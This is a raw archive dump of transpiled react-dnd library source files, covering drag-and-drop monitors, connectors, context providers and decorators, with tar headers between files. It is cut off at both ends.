props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var isCallingCanDrop = false; var DropTargetMonitorImpl = /*#__PURE__*/function () { function DropTargetMonitorImpl(manager) { _classCallCheck(this, DropTargetMonitorImpl); this.targetId = null; this.internalMonitor = manager.getMonitor(); } _createClass(DropTargetMonitorImpl, [{ key: "receiveHandlerId", value: function receiveHandlerId(targetId) { this.targetId = targetId; } }, { key: "getHandlerId", value: function getHandlerId() { return this.targetId; } }, { key: "subscribeToStateChange", value: function subscribeToStateChange(listener, options) { return this.internalMonitor.subscribeToStateChange(listener, options); } }, { key: "canDrop", value: function canDrop() { // Cut out early if the target id has not been set. This should prevent errors // where the user has an older version of dnd-core like in // https://github.com/react-dnd/react-dnd/issues/1310 if (!this.targetId) { return false; } (0, _invariant.invariant)(!isCallingCanDrop, 'You may not call monitor.canDrop() inside your canDrop() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target-monitor'); try { isCallingCanDrop = true; return this.internalMonitor.canDropOnTarget(this.targetId); } finally { isCallingCanDrop = false; } } }, { key: "isOver", value: function isOver(options) { if (!this.targetId) { return false; } return this.internalMonitor.isOverTarget(this.targetId, options); } }, { key: "getItemType", value: function getItemType() { return this.internalMonitor.getItemType(); } }, { key: "getItem", value: function getItem() { return this.internalMonitor.getItem(); } }, { key: "getDropResult", value: function getDropResult() { return this.internalMonitor.getDropResult(); } }, { key: "didDrop", value: function didDrop() { return this.internalMonitor.didDrop(); } }, { key: "getInitialClientOffset", value: function getInitialClientOffset() { return this.internalMonitor.getInitialClientOffset(); } }, { key: "getInitialSourceClientOffset", value: function getInitialSourceClientOffset() { return this.internalMonitor.getInitialSourceClientOffset(); } }, { key: "getSourceClientOffset", value: function getSourceClientOffset() { return this.internalMonitor.getSourceClientOffset(); } }, { key: "getClientOffset", value: function getClientOffset() { return this.internalMonitor.getClientOffset(); } }, { key: "getDifferenceFromInitialOffset", value: function getDifferenceFromInitialOffset() { return this.internalMonitor.getDifferenceFromInitialOffset(); } }]); return DropTargetMonitorImpl; }(); exports.DropTargetMonitorImpl = DropTargetMonitorImpl;cjs/common/DndProvider.js000064400000013541151677306070011411 0ustar00"use strict"; function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } Object.defineProperty(exports, "__esModule", { value: true }); exports.DndProvider = void 0; var React = _interopRequireWildcard(require("react")); var _DndContext = require("./DndContext"); function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; } function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; } var refCount = 0; /** * A React component that provides the React-DnD context */ var DndProvider = (0, React.memo)(function (_ref) { var children = _ref.children, props = _objectWithoutProperties(_ref, ["children"]); var _getDndContextValue = getDndContextValue(props), _getDndContextValue2 = _slicedToArray(_getDndContextValue, 2), manager = _getDndContextValue2[0], isGlobalInstance = _getDndContextValue2[1]; // memoized from props /** * If the global context was used to store the DND context * then where theres no more references to it we should * clean it up to avoid memory leaks */ React.useEffect(function () { if (isGlobalInstance) { refCount++; } return function () { if (isGlobalInstance) { refCount--; if (refCount === 0) { var context = getGlobalContext(); context[instanceSymbol] = null; } } }; }, []); return React.createElement(_DndContext.DndContext.Provider, { value: manager }, children); }); exports.DndProvider = DndProvider; DndProvider.displayName = 'DndProvider'; function getDndContextValue(props) { if ('manager' in props) { var _manager = { dragDropManager: props.manager }; return [_manager, false]; } var manager = createSingletonDndContext(props.backend, props.context, props.options, props.debugMode); var isGlobalInstance = !props.context; return [manager, isGlobalInstance]; } var instanceSymbol = Symbol.for('__REACT_DND_CONTEXT_INSTANCE__'); function createSingletonDndContext(backend) { var context = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : getGlobalContext(); var options = arguments.length > 2 ? arguments[2] : undefined; var debugMode = arguments.length > 3 ? arguments[3] : undefined; var ctx = context; if (!ctx[instanceSymbol]) { ctx[instanceSymbol] = (0, _DndContext.createDndContext)(backend, context, options, debugMode); } return ctx[instanceSymbol]; } function getGlobalContext() { return typeof global !== 'undefined' ? global : window; }cjs/common/wrapConnectorHooks.js000064400000004410151677306070013014 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.wrapConnectorHooks = wrapConnectorHooks; var _react = require("react"); var _cloneWithRef = require("../utils/cloneWithRef"); function throwIfCompositeComponentElement(element) { // Custom components can no longer be wrapped directly in React DnD 2.0 // so that we don't need to depend on findDOMNode() from react-dom. if (typeof element.type === 'string') { return; } var displayName = element.type.displayName || element.type.name || 'the component'; throw new Error('Only native element nodes can now be passed to React DnD connectors.' + "You can either wrap ".concat(displayName, " into a <div>, or turn it into a ") + 'drag source or a drop target itself.'); } function wrapHookToRecognizeElement(hook) { return function () { var elementOrNode = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; // When passed a node, call the hook straight away. if (!(0, _react.isValidElement)(elementOrNode)) { var node = elementOrNode; hook(node, options); // return the node so it can be chained (e.g. when within callback refs // <div ref={node => connectDragSource(connectDropTarget(node))}/> return node; } // If passed a ReactElement, clone it and attach this function as a ref. // This helps us achieve a neat API where user doesn't even know that refs // are being used under the hood. var element = elementOrNode; throwIfCompositeComponentElement(element); // When no options are passed, use the hook directly var ref = options ? function (node) { return hook(node, options); } : hook; return (0, _cloneWithRef.cloneWithRef)(element, ref); }; } function wrapConnectorHooks(hooks) { var wrappedHooks = {}; Object.keys(hooks).forEach(function (key) { var hook = hooks[key]; // ref objects should be passed straight through without wrapping if (key.endsWith('Ref')) { wrappedHooks[key] = hooks[key]; } else { var wrappedHook = wrapHookToRecognizeElement(hook); wrappedHooks[key] = function () { return wrappedHook; }; } }); return wrappedHooks; }cjs/common/index.js000064400000001710151677306070010273 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var _DndContext = require("./DndContext"); Object.keys(_DndContext).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _DndContext[key]; } }); }); var _DndProvider = require("./DndProvider"); Object.keys(_DndProvider).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _DndProvider[key]; } }); }); var _DragPreviewImage = require("./DragPreviewImage"); Object.keys(_DragPreviewImage).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _DragPreviewImage[key]; } }); });cjs/common/TargetConnector.js000064400000010320151677306070012262 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.TargetConnector = void 0; var _shallowequal = require("@react-dnd/shallowequal"); var _wrapConnectorHooks = require("./wrapConnectorHooks"); var _isRef = require("../utils/isRef"); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var TargetConnector = /*#__PURE__*/function () { function TargetConnector(backend) { var _this = this; _classCallCheck(this, TargetConnector); this.hooks = (0, _wrapConnectorHooks.wrapConnectorHooks)({ dropTarget: function dropTarget(node, options) { _this.clearDropTarget(); _this.dropTargetOptions = options; if ((0, _isRef.isRef)(node)) { _this.dropTargetRef = node; } else { _this.dropTargetNode = node; } _this.reconnect(); } }); this.handlerId = null; // The drop target may either be attached via ref or connect function this.dropTargetRef = null; this.dropTargetOptionsInternal = null; this.lastConnectedHandlerId = null; this.lastConnectedDropTarget = null; this.lastConnectedDropTargetOptions = null; this.backend = backend; } _createClass(TargetConnector, [{ key: "reconnect", value: function reconnect() { // if nothing has changed then don't resubscribe var didChange = this.didHandlerIdChange() || this.didDropTargetChange() || this.didOptionsChange(); if (didChange) { this.disconnectDropTarget(); } var dropTarget = this.dropTarget; if (!this.handlerId) { return; } if (!dropTarget) { this.lastConnectedDropTarget = dropTarget; return; } if (didChange) { this.lastConnectedHandlerId = this.handlerId; this.lastConnectedDropTarget = dropTarget; this.lastConnectedDropTargetOptions = this.dropTargetOptions; this.unsubscribeDropTarget = this.backend.connectDropTarget(this.handlerId, dropTarget, this.dropTargetOptions); } } }, { key: "receiveHandlerId", value: function receiveHandlerId(newHandlerId) { if (newHandlerId === this.handlerId) { return; } this.handlerId = newHandlerId; this.reconnect(); } }, { key: "didHandlerIdChange", value: function didHandlerIdChange() { return this.lastConnectedHandlerId !== this.handlerId; } }, { key: "didDropTargetChange", value: function didDropTargetChange() { return this.lastConnectedDropTarget !== this.dropTarget; } }, { key: "didOptionsChange", value: function didOptionsChange() { return !(0, _shallowequal.shallowEqual)(this.lastConnectedDropTargetOptions, this.dropTargetOptions); } }, { key: "disconnectDropTarget", value: function disconnectDropTarget() { if (this.unsubscribeDropTarget) { this.unsubscribeDropTarget(); this.unsubscribeDropTarget = undefined; } } }, { key: "clearDropTarget", value: function clearDropTarget() { this.dropTargetRef = null; this.dropTargetNode = null; } }, { key: "connectTarget", get: function get() { return this.dropTarget; } }, { key: "dropTargetOptions", get: function get() { return this.dropTargetOptionsInternal; }, set: function set(options) { this.dropTargetOptionsInternal = options; } }, { key: "dropTarget", get: function get() { return this.dropTargetNode || this.dropTargetRef && this.dropTargetRef.current; } }]); return TargetConnector; }(); exports.TargetConnector = TargetConnector;cjs/common/DndContext.js000064400000003716151677306070011246 0ustar00"use strict"; function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } Object.defineProperty(exports, "__esModule", { value: true }); exports.createDndContext = createDndContext; exports.DndContext = void 0; var React = _interopRequireWildcard(require("react")); var _dndCore = require("dnd-core"); function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; } /** * Create the React Context */ var DndContext = React.createContext({ dragDropManager: undefined }); /** * Creates the context object we're providing * @param backend * @param context */ exports.DndContext = DndContext; function createDndContext(backend, context, options, debugMode) { return { dragDropManager: (0, _dndCore.createDragDropManager)(backend, context, options, debugMode) }; }cjs/common/DragPreviewImage.js000064400000004077151677306070012357 0ustar00"use strict"; function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } Object.defineProperty(exports, "__esModule", { value: true }); exports.DragPreviewImage = void 0; var React = _interopRequireWildcard(require("react")); function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; } /* * A utility for rendering a drag preview image */ var DragPreviewImage = React.memo(function (_ref) { var connect = _ref.connect, src = _ref.src; React.useEffect(function () { if (typeof Image === 'undefined') return; var connected = false; var img = new Image(); img.src = src; img.onload = function () { connect(img); connected = true; }; return function () { if (connected) { connect(null); } }; }); return null; }); exports.DragPreviewImage = DragPreviewImage; DragPreviewImage.displayName = 'DragPreviewImage';cjs/common/DragSourceMonitorImpl.js000064400000011760151677306070013422 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.DragSourceMonitorImpl = void 0; var _invariant = require("@react-dnd/invariant"); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var isCallingCanDrag = false; var isCallingIsDragging = false; var DragSourceMonitorImpl = /*#__PURE__*/function () { function DragSourceMonitorImpl(manager) { _classCallCheck(this, DragSourceMonitorImpl); this.sourceId = null; this.internalMonitor = manager.getMonitor(); } _createClass(DragSourceMonitorImpl, [{ key: "receiveHandlerId", value: function receiveHandlerId(sourceId) { this.sourceId = sourceId; } }, { key: "getHandlerId", value: function getHandlerId() { return this.sourceId; } }, { key: "canDrag", value: function canDrag() { (0, _invariant.invariant)(!isCallingCanDrag, 'You may not call monitor.canDrag() inside your canDrag() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor'); try { isCallingCanDrag = true; return this.internalMonitor.canDragSource(this.sourceId); } finally { isCallingCanDrag = false; } } }, { key: "isDragging", value: function isDragging() { if (!this.sourceId) { return false; } (0, _invariant.invariant)(!isCallingIsDragging, 'You may not call monitor.isDragging() inside your isDragging() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor'); try { isCallingIsDragging = true; return this.internalMonitor.isDraggingSource(this.sourceId); } finally { isCallingIsDragging = false; } } }, { key: "subscribeToStateChange", value: function subscribeToStateChange(listener, options) { return this.internalMonitor.subscribeToStateChange(listener, options); } }, { key: "isDraggingSource", value: function isDraggingSource(sourceId) { return this.internalMonitor.isDraggingSource(sourceId); } }, { key: "isOverTarget", value: function isOverTarget(targetId, options) { return this.internalMonitor.isOverTarget(targetId, options); } }, { key: "getTargetIds", value: function getTargetIds() { return this.internalMonitor.getTargetIds(); } }, { key: "isSourcePublic", value: function isSourcePublic() { return this.internalMonitor.isSourcePublic(); } }, { key: "getSourceId", value: function getSourceId() { return this.internalMonitor.getSourceId(); } }, { key: "subscribeToOffsetChange", value: function subscribeToOffsetChange(listener) { return this.internalMonitor.subscribeToOffsetChange(listener); } }, { key: "canDragSource", value: function canDragSource(sourceId) { return this.internalMonitor.canDragSource(sourceId); } }, { key: "canDropOnTarget", value: function canDropOnTarget(targetId) { return this.internalMonitor.canDropOnTarget(targetId); } }, { key: "getItemType", value: function getItemType() { return this.internalMonitor.getItemType(); } }, { key: "getItem", value: function getItem() { return this.internalMonitor.getItem(); } }, { key: "getDropResult", value: function getDropResult() { return this.internalMonitor.getDropResult(); } }, { key: "didDrop", value: function didDrop() { return this.internalMonitor.didDrop(); } }, { key: "getInitialClientOffset", value: function getInitialClientOffset() { return this.internalMonitor.getInitialClientOffset(); } }, { key: "getInitialSourceClientOffset", value: function getInitialSourceClientOffset() { return this.internalMonitor.getInitialSourceClientOffset(); } }, { key: "getSourceClientOffset", value: function getSourceClientOffset() { return this.internalMonitor.getSourceClientOffset(); } }, { key: "getClientOffset", value: function getClientOffset() { return this.internalMonitor.getClientOffset(); } }, { key: "getDifferenceFromInitialOffset", value: function getDifferenceFromInitialOffset() { return this.internalMonitor.getDifferenceFromInitialOffset(); } }]); return DragSourceMonitorImpl; }(); exports.DragSourceMonitorImpl = DragSourceMonitorImpl;cjs/common/registration.js000064400000001147151677306070011702 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.registerTarget = registerTarget; exports.registerSource = registerSource; function registerTarget(type, target, manager) { var registry = manager.getRegistry(); var targetId = registry.addTarget(type, target); return [targetId, function () { return registry.removeTarget(targetId); }]; } function registerSource(type, source, manager) { var registry = manager.getRegistry(); var sourceId = registry.addSource(type, source); return [sourceId, function () { return registry.removeSource(sourceId); }]; }esm/decorators/utils.js000064400000003113151677306070011205 0ustar00export function getDecoratedComponent(instanceRef) { var currentRef = instanceRef.current; if (currentRef == null) { return null; } else if (currentRef.decoratedRef) { // go through the private field in decorateHandler to avoid the invariant hit return currentRef.decoratedRef.current; } else { return currentRef; } } export function isClassComponent(Component) { return Component && Component.prototype && typeof Component.prototype.render === 'function'; } export function isRefForwardingComponent(C) { var _item$$$typeof; var item = C; return (item === null || item === void 0 ? void 0 : (_item$$$typeof = item.$$typeof) === null || _item$$$typeof === void 0 ? void 0 : _item$$$typeof.toString()) === 'Symbol(react.forward_ref)'; } export function isRefable(C) { return isClassComponent(C) || isRefForwardingComponent(C); } export function checkDecoratorArguments(functionName, signature) { if (process.env.NODE_ENV !== 'production') { for (var i = 0; i < (arguments.length <= 2 ? 0 : arguments.length - 2); i++) { var arg = i + 2 < 2 || arguments.length <= i + 2 ? undefined : arguments[i + 2]; if (arg && arg.prototype && arg.prototype.render) { // eslint-disable-next-line no-console console.error('You seem to be applying the arguments in the wrong order. ' + "It should be ".concat(functionName, "(").concat(signature, ")(Component), not the other way around. ") + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#you-seem-to-be-applying-the-arguments-in-the-wrong-order'); return; } } } }esm/decorators/DragLayer.js000064400000021062151677306070011722 0ustar00function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } import * as React from 'react'; import { shallowEqual } from '@react-dnd/shallowequal'; import hoistStatics from 'hoist-non-react-statics'; import { invariant } from '@react-dnd/invariant'; import { DndContext } from '../common/DndContext'; import { isPlainObject } from '../utils/js_utils'; import { isRefable, checkDecoratorArguments } from './utils'; export function DragLayer(collect) { var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; checkDecoratorArguments('DragLayer', 'collect[, options]', collect, options); invariant(typeof collect === 'function', 'Expected "collect" provided as the first argument to DragLayer to be a function that collects props to inject into the component. ', 'Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer', collect); invariant(isPlainObject(options), 'Expected "options" provided as the second argument to DragLayer to be a plain object when specified. ' + 'Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer', options); return function decorateLayer(DecoratedComponent) { var Decorated = DecoratedComponent; var _options$arePropsEqua = options.arePropsEqual, arePropsEqual = _options$arePropsEqua === void 0 ? shallowEqual : _options$arePropsEqua; var displayName = Decorated.displayName || Decorated.name || 'Component'; var DragLayerContainer = /** @class */ function () { var DragLayerContainer = /*#__PURE__*/function (_React$Component) { _inherits(DragLayerContainer, _React$Component); var _super = _createSuper(DragLayerContainer); function DragLayerContainer() { var _this; _classCallCheck(this, DragLayerContainer); _this = _super.apply(this, arguments); _this.isCurrentlyMounted = false; _this.ref = React.createRef(); _this.handleChange = function () { if (!_this.isCurrentlyMounted) { return; } var nextState = _this.getCurrentState(); if (!shallowEqual(nextState, _this.state)) { _this.setState(nextState); } }; return _this; } _createClass(DragLayerContainer, [{ key: "getDecoratedComponentInstance", value: function getDecoratedComponentInstance() { invariant(this.ref.current, 'In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()'); return this.ref.current; } }, { key: "shouldComponentUpdate", value: function shouldComponentUpdate(nextProps, nextState) { return !arePropsEqual(nextProps, this.props) || !shallowEqual(nextState, this.state); } }, { key: "componentDidMount", value: function componentDidMount() { this.isCurrentlyMounted = true; this.handleChange(); } }, { key: "componentWillUnmount", value: function componentWillUnmount() { this.isCurrentlyMounted = false; if (this.unsubscribeFromOffsetChange) { this.unsubscribeFromOffsetChange(); this.unsubscribeFromOffsetChange = undefined; } if (this.unsubscribeFromStateChange) { this.unsubscribeFromStateChange(); this.unsubscribeFromStateChange = undefined; } } }, { key: "render", value: function render() { var _this2 = this; return React.createElement(DndContext.Consumer, null, function (_ref) { var dragDropManager = _ref.dragDropManager; if (dragDropManager === undefined) { return null; } _this2.receiveDragDropManager(dragDropManager); // Let componentDidMount fire to initialize the collected state if (!_this2.isCurrentlyMounted) { return null; } return React.createElement(Decorated, Object.assign({}, _this2.props, _this2.state, { ref: isRefable(Decorated) ? _this2.ref : null })); }); } }, { key: "receiveDragDropManager", value: function receiveDragDropManager(dragDropManager) { if (this.manager !== undefined) { return; } this.manager = dragDropManager; invariant(_typeof(dragDropManager) === 'object', 'Could not find the drag and drop manager in the context of %s. ' + 'Make sure to render a DndProvider component in your top-level component. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context', displayName, displayName); var monitor = this.manager.getMonitor(); this.unsubscribeFromOffsetChange = monitor.subscribeToOffsetChange(this.handleChange); this.unsubscribeFromStateChange = monitor.subscribeToStateChange(this.handleChange); } }, { key: "getCurrentState", value: function getCurrentState() { if (!this.manager) { return {}; } var monitor = this.manager.getMonitor(); return collect(monitor, this.props); } }]); return DragLayerContainer; }(React.Component); DragLayerContainer.displayName = "DragLayer(".concat(displayName, ")"); DragLayerContainer.DecoratedComponent = DecoratedComponent; return DragLayerContainer; }(); return hoistStatics(DragLayerContainer, DecoratedComponent); }; }esm/decorators/DropTarget.js000064400000005015151677306070012123 0ustar00import { invariant } from '@react-dnd/invariant'; import { isPlainObject } from '../utils/js_utils'; import { registerTarget } from '../common/registration'; import { isValidType } from '../utils/isValidType'; import { TargetConnector } from '../common/TargetConnector'; import { DropTargetMonitorImpl } from '../common/DropTargetMonitorImpl'; import { checkDecoratorArguments } from './utils'; import { decorateHandler } from './decorateHandler'; import { createTargetFactory } from './createTargetFactory'; export function DropTarget(type, spec, collect) { var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {}; checkDecoratorArguments('DropTarget', 'type, spec, collect[, options]', type, spec, collect, options); var getType = type; if (typeof type !== 'function') { invariant(isValidType(type, true), 'Expected "type" provided as the first argument to DropTarget to be ' + 'a string, an array of strings, or a function that returns either given ' + 'the current props. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', type); getType = function getType() { return type; }; } invariant(isPlainObject(spec), 'Expected "spec" provided as the second argument to DropTarget to be ' + 'a plain object. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', spec); var createTarget = createTargetFactory(spec); invariant(typeof collect === 'function', 'Expected "collect" provided as the third argument to DropTarget to be ' + 'a function that returns a plain object of props to inject. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', collect); invariant(isPlainObject(options), 'Expected "options" provided as the fourth argument to DropTarget to be ' + 'a plain object when specified. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', collect); return function decorateTarget(DecoratedComponent) { return decorateHandler({ containerDisplayName: 'DropTarget', createHandler: createTarget, registerHandler: registerTarget, createMonitor: function createMonitor(manager) { return new DropTargetMonitorImpl(manager); }, createConnector: function createConnector(backend) { return new TargetConnector(backend); }, DecoratedComponent: DecoratedComponent, getType: getType, collect: collect, options: options }); }; }esm/decorators/decorateHandler.js000064400000027517151677306070013147 0ustar00function 